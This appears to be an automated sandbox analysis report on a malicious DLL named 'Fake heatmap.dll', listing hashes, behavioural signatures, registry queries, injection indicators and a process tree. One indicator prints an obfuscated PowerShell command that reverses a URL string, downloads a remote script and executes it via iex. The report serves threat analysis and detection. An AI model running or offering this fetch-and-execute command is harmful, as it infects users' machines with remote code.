991e283cefc6cf3da4f4fd6b67105c1d1c934a1db64d34837c1c2cc80097b2d8

Analysis

user interaction
yes
max time kernel
593s
max time network
594s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 04:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Fake heatmap.dll
Size 402KB
Sample260804-ex3mkacg86
SHA256 991e283cefc6cf3da4f4fd6b67105c1d1c934a1db64d34837c1c2cc80097b2d8
MD5 80f1b91e844cc7a5326903003c38e412
SHA1 3601e4273d076ca0f8c3f4fa0ebac30f228d32bb
SHA512 1e3a68088a6711365a1b97129118195def3261a7e6cac6595426763ab2d4095c292e13161b5d3fef919a55f430d5119d9c383b9676c9d1c34292e495c5fc4fa3
SSDEEP 6144:+7CXUSWBCaxsPgIAqF4tVjkYKLgqyc/taAZdCtnDHlS:oGioRquLtyW0PtDH
TLSH
T187944D3B9684156CE2B7D1B88E874C82EB3A740A07F19DFF0BD094935D535A49B3AB13
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

persistence

Malware Config

Signatures

Downloads MZ/PE file 1 IoCs

flow	pid	Process
127	372	firefox.exe

Loads dropped DLL 1 IoCs

pid	Process
2116	regsvr32.exe

Suspicious clipboard content. 1 IoCs

A suspicious script was copied to clipboard.

ioc	Process
powershell -w h -c "$a=('efebaa88-e94994c7=di?dg/ved.srekrow.ytirucesva.4372-[DONT-TRY-THIS-LOL]orp//:sptth'.ToCharArray());[array]::Reverse($a);$u=-join$a;$w=New-Object Net.WebClient;$c=[char]0x69+[char]0x65+[char]0x78;& $c ($w.DownloadString($u)); #-----	firefox.exe

Drops desktop.ini file(s) 6 IoCs

description	ioc	Process
File opened for modification	C:\Users\Public\Documents\desktop.ini	firefox.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	firefox.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\desktop.ini	firefox.exe

Checks processor information in registry 2 TTPs 64 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-790078335-998561069-2208156648-988539944-4021756109-3505228477-4058360096	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-790078335-998561069-2208156648-988539944-4021756109-3505228477-4058360096\DisplayName = "Chrome Sandbox"	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-790078335-998561069-2208156648-988539944-4021756109-3505228477-4058360096\Moniker = "fx.sb.cdmaead3483b5e3a557227b77554c4d4739fd53e90f"	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-790078335-998561069-2208156648-988539944-4021756109-3505228477-4058360096\Children	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\fx.sb.cdmaead3483b5e3a557227b77554c4d4739fd53e90f	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\fx.sb.cdmaead3483b5e3a557227b77554c4d4739fd53e90f\Children	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	firefox.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\heatmap.dll:Zone.Identifier	firefox.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
696	powershell.exe
696	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5372	OpenWith.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	372	firefox.exe
Token: SeDebugPrivilege	372	firefox.exe
Token: SeDebugPrivilege	372	firefox.exe
Token: SeDebugPrivilege	372	firefox.exe
Token: SeDebugPrivilege	372	firefox.exe
Token: SeDebugPrivilege	372	firefox.exe
Token: SeDebugPrivilege	372	firefox.exe
Token: SeDebugPrivilege	696	powershell.exe
Token: SeDebugPrivilege	1256	firefox.exe
Token: SeDebugPrivilege	1256	firefox.exe
Token: SeDebugPrivilege	1256	firefox.exe
Token: SeDebugPrivilege	1256	firefox.exe
Token: SeDebugPrivilege	1256	firefox.exe

Suspicious use of FindShellTrayWindow 33 IoCs

pid	Process
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe
1256	firefox.exe

Suspicious use of SetWindowsHookEx 24 IoCs

pid	Process
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
372	firefox.exe
5372	OpenWith.exe
5372	OpenWith.exe
5372	OpenWith.exe
5372	OpenWith.exe
5372	OpenWith.exe
5372	OpenWith.exe
5372	OpenWith.exe
5372	OpenWith.exe
5372	OpenWith.exe
5372	OpenWith.exe
5372	OpenWith.exe
5372	OpenWith.exe
5372	OpenWith.exe
1256	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3564 wrote to memory of 372	3564	firefox.exe	101
PID 3564 wrote to memory of 372	3564	firefox.exe	101
PID 372 wrote to memory of 3156	372	firefox.exe	102
PID 372 wrote to memory of 3156	372	firefox.exe	102
PID 372 wrote to memory of 3156	372	firefox.exe	102
PID 372 wrote to memory of 4372	372	firefox.exe	103
PID 372 wrote to memory of 4372	372	firefox.exe	103
PID 372 wrote to memory of 4372	372	firefox.exe	103
PID 372 wrote to memory of 4372	372	firefox.exe	103
PID 372 wrote to memory of 5032	372	firefox.exe	104
PID 372 wrote to memory of 5032	372	firefox.exe	104
PID 372 wrote to memory of 5032	372	firefox.exe	104
PID 372 wrote to memory of 5032	372	firefox.exe	104
PID 372 wrote to memory of 4960	372	firefox.exe	105
PID 372 wrote to memory of 4960	372	firefox.exe	105
PID 372 wrote to memory of 4960	372	firefox.exe	105
PID 372 wrote to memory of 2544	372	firefox.exe	106
PID 372 wrote to memory of 2544	372	firefox.exe	106
PID 372 wrote to memory of 2544	372	firefox.exe	106
PID 372 wrote to memory of 2544	372	firefox.exe	106
PID 372 wrote to memory of 5648	372	firefox.exe	107
PID 372 wrote to memory of 5648	372	firefox.exe	107
PID 372 wrote to memory of 5648	372	firefox.exe	107
PID 372 wrote to memory of 5648	372	firefox.exe	107
PID 372 wrote to memory of 5660	372	firefox.exe	108
PID 372 wrote to memory of 5660	372	firefox.exe	108
PID 372 wrote to memory of 5660	372	firefox.exe	108
PID 372 wrote to memory of 5660	372	firefox.exe	108
PID 372 wrote to memory of 5668	372	firefox.exe	109
PID 372 wrote to memory of 5668	372	firefox.exe	109
PID 372 wrote to memory of 5668	372	firefox.exe	109
PID 372 wrote to memory of 5668	372	firefox.exe	109
PID 372 wrote to memory of 5684	372	firefox.exe	110
PID 372 wrote to memory of 5684	372	firefox.exe	110
PID 372 wrote to memory of 5684	372	firefox.exe	110
PID 372 wrote to memory of 5684	372	firefox.exe	110
PID 372 wrote to memory of 5192	372	firefox.exe	112
PID 372 wrote to memory of 5192	372	firefox.exe	112
PID 372 wrote to memory of 5192	372	firefox.exe	112
PID 372 wrote to memory of 5192	372	firefox.exe	112
PID 372 wrote to memory of 5480	372	firefox.exe	113
PID 372 wrote to memory of 5480	372	firefox.exe	113
PID 372 wrote to memory of 5480	372	firefox.exe	113
PID 372 wrote to memory of 5480	372	firefox.exe	113
PID 372 wrote to memory of 4752	372	firefox.exe	114
PID 372 wrote to memory of 4752	372	firefox.exe	114
PID 372 wrote to memory of 4752	372	firefox.exe	114
PID 372 wrote to memory of 4752	372	firefox.exe	114
PID 696 wrote to memory of 2116	696	powershell.exe	120
PID 3248 wrote to memory of 1256	3248	firefox.exe	122
PID 3248 wrote to memory of 1256	3248	firefox.exe	122
PID 1256 wrote to memory of 4384	1256	firefox.exe	123
PID 1256 wrote to memory of 4384	1256	firefox.exe	123
PID 1256 wrote to memory of 4384	1256	firefox.exe	123
PID 1256 wrote to memory of 3956	1256	firefox.exe	124
PID 1256 wrote to memory of 3956	1256	firefox.exe	124
PID 1256 wrote to memory of 3956	1256	firefox.exe	124
PID 1256 wrote to memory of 3956	1256	firefox.exe	124
PID 1256 wrote to memory of 1940	1256	firefox.exe	125
PID 1256 wrote to memory of 1940	1256	firefox.exe	125
PID 1256 wrote to memory of 1940	1256	firefox.exe	125
PID 1256 wrote to memory of 1940	1256	firefox.exe	125
PID 1256 wrote to memory of 4776	1256	firefox.exe	126
PID 1256 wrote to memory of 4776	1256	firefox.exe	126

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\Fake heatmap.dll",#1
1⤵
PID:1004

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3564
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Downloads MZ/PE file
  - Drops desktop.ini file(s)
  - Checks processor information in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:372
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2012 -prefsLen 27099 -prefMapHandle 2016 -prefMapSize 270279 -ipcHandle 2084 -initialChannelId {c139767d-8816-4a97-8341-e4fccdeb6832} -parentPid 372 -crashReporter "\\.\pipe\gecko-crash-server-pipe.372" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
    3⤵
    PID:3156
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2464 -prefsLen 27135 -prefMapHandle 2468 -prefMapSize 270279 -ipcHandle 2476 -initialChannelId {32b78657-2401-4a35-91d9-ce46e028fc6d} -parentPid 372 -crashReporter "\\.\pipe\gecko-crash-server-pipe.372" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
    3⤵
    - Checks processor information in registry
    PID:4372
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3868 -prefsLen 27276 -prefMapHandle 3872 -prefMapSize 270279 -jsInitHandle 3876 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3884 -initialChannelId {2fc537c8-5c70-4411-a3b0-46f121d33e9c} -parentPid 372 -crashReporter "\\.\pipe\gecko-crash-server-pipe.372" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
    3⤵
    - Checks processor information in registry
    PID:5032
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 4024 -prefsLen 27276 -prefMapHandle 4028 -prefMapSize 270279 -ipcHandle 4044 -initialChannelId {4c09a625-7470-41a6-b450-ce8e5c34084f} -parentPid 372 -crashReporter "\\.\pipe\gecko-crash-server-pipe.372" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
    3⤵
    PID:4960
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4432 -prefsLen 34775 -prefMapHandle 4436 -prefMapSize 270279 -jsInitHandle 4440 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3224 -initialChannelId {415fbde0-5912-4de5-8b45-eaac36908072} -parentPid 372 -crashReporter "\\.\pipe\gecko-crash-server-pipe.372" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
    3⤵
    - Checks processor information in registry
    PID:2544
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 2724 -prefsLen 35012 -prefMapHandle 4828 -prefMapSize 270279 -ipcHandle 4784 -initialChannelId {41bb3e4a-44c8-40bd-b8e6-a7e68edf142a} -parentPid 372 -crashReporter "\\.\pipe\gecko-crash-server-pipe.372" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
    3⤵
    - Checks processor information in registry
    PID:5648
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5024 -prefsLen 32900 -prefMapHandle 5028 -prefMapSize 270279 -jsInitHandle 5032 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5040 -initialChannelId {fb130688-e2e5-46a7-bd86-f8ab425521ae} -parentPid 372 -crashReporter "\\.\pipe\gecko-crash-server-pipe.372" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
    3⤵
    - Checks processor information in registry
    PID:5660
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5280 -prefsLen 32900 -prefMapHandle 5284 -prefMapSize 270279 -jsInitHandle 5288 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5292 -initialChannelId {d5dc4046-deec-4420-8856-46dd26066f5d} -parentPid 372 -crashReporter "\\.\pipe\gecko-crash-server-pipe.372" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
    3⤵
    - Checks processor information in registry
    PID:5668
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5500 -prefsLen 32952 -prefMapHandle 5504 -prefMapSize 270279 -jsInitHandle 5508 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5516 -initialChannelId {9d74eb65-1892-4c4a-947f-c976a76524f0} -parentPid 372 -crashReporter "\\.\pipe\gecko-crash-server-pipe.372" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
    3⤵
    - Checks processor information in registry
    PID:5684
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2632 -prefsLen 36718 -prefMapHandle 2708 -prefMapSize 270279 -jsInitHandle 2868 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3900 -initialChannelId {4d87ecf7-d6ec-4254-bc8a-34db6dced32d} -parentPid 372 -crashReporter "\\.\pipe\gecko-crash-server-pipe.372" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
    3⤵
    - Checks processor information in registry
    PID:5192
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6608 -prefsLen 36718 -prefMapHandle 5104 -prefMapSize 270279 -jsInitHandle 5264 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5124 -initialChannelId {9e9b5031-5b42-4c73-86db-5f0b8c8114d4} -parentPid 372 -crashReporter "\\.\pipe\gecko-crash-server-pipe.372" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
    3⤵
    - Checks processor information in registry
    PID:5480
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6460 -prefsLen 36878 -prefMapHandle 6328 -prefMapSize 270279 -jsInitHandle 4824 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6724 -initialChannelId {078b86fc-b0b5-4fe7-b389-fa402b268e9e} -parentPid 372 -crashReporter "\\.\pipe\gecko-crash-server-pipe.372" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
    3⤵
    - Checks processor information in registry
    PID:4752

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4532

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:5372

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:696
- C:\Windows\system32\regsvr32.exe
  "C:\Windows\system32\regsvr32.exe" C:\Users\Admin\Downloads\heatmap.dll
  2⤵
  - Loads dropped DLL
  PID:2116

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3248
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Suspicious clipboard content.
  - Drops desktop.ini file(s)
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1256
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2060 -prefsLen 31227 -prefMapHandle 2064 -prefMapSize 271022 -ipcHandle 2136 -initialChannelId {6b0433ae-9fc6-4ec8-b4b3-93ddd0023bd2} -parentPid 1256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1256" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
    3⤵
    PID:4384
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2408 -prefsLen 31227 -prefMapHandle 2412 -prefMapSize 271022 -ipcHandle 2372 -initialChannelId {7b471412-0fcf-4b6d-943f-ff4c623fef29} -parentPid 1256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1256" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
    3⤵
    PID:3956
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3720 -prefsLen 31835 -prefMapHandle 3724 -prefMapSize 271022 -jsInitHandle 3728 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3736 -initialChannelId {0b2f7e66-8c3f-46b5-a254-0ad2b3abe80f} -parentPid 1256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1256" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
    3⤵
    - Checks processor information in registry
    PID:1940
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3772 -prefsLen 31835 -prefMapHandle 3760 -prefMapSize 271022 -ipcHandle 3864 -initialChannelId {779d0c7f-b258-4c1c-affc-1182be2e1cc8} -parentPid 1256 -crashReporter "\\.\pipe\gecko-crash-server-pipe.1256" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
    3⤵
    PID:4776
- - C:\Program Files\Mozilla Firefox\firefox.exe
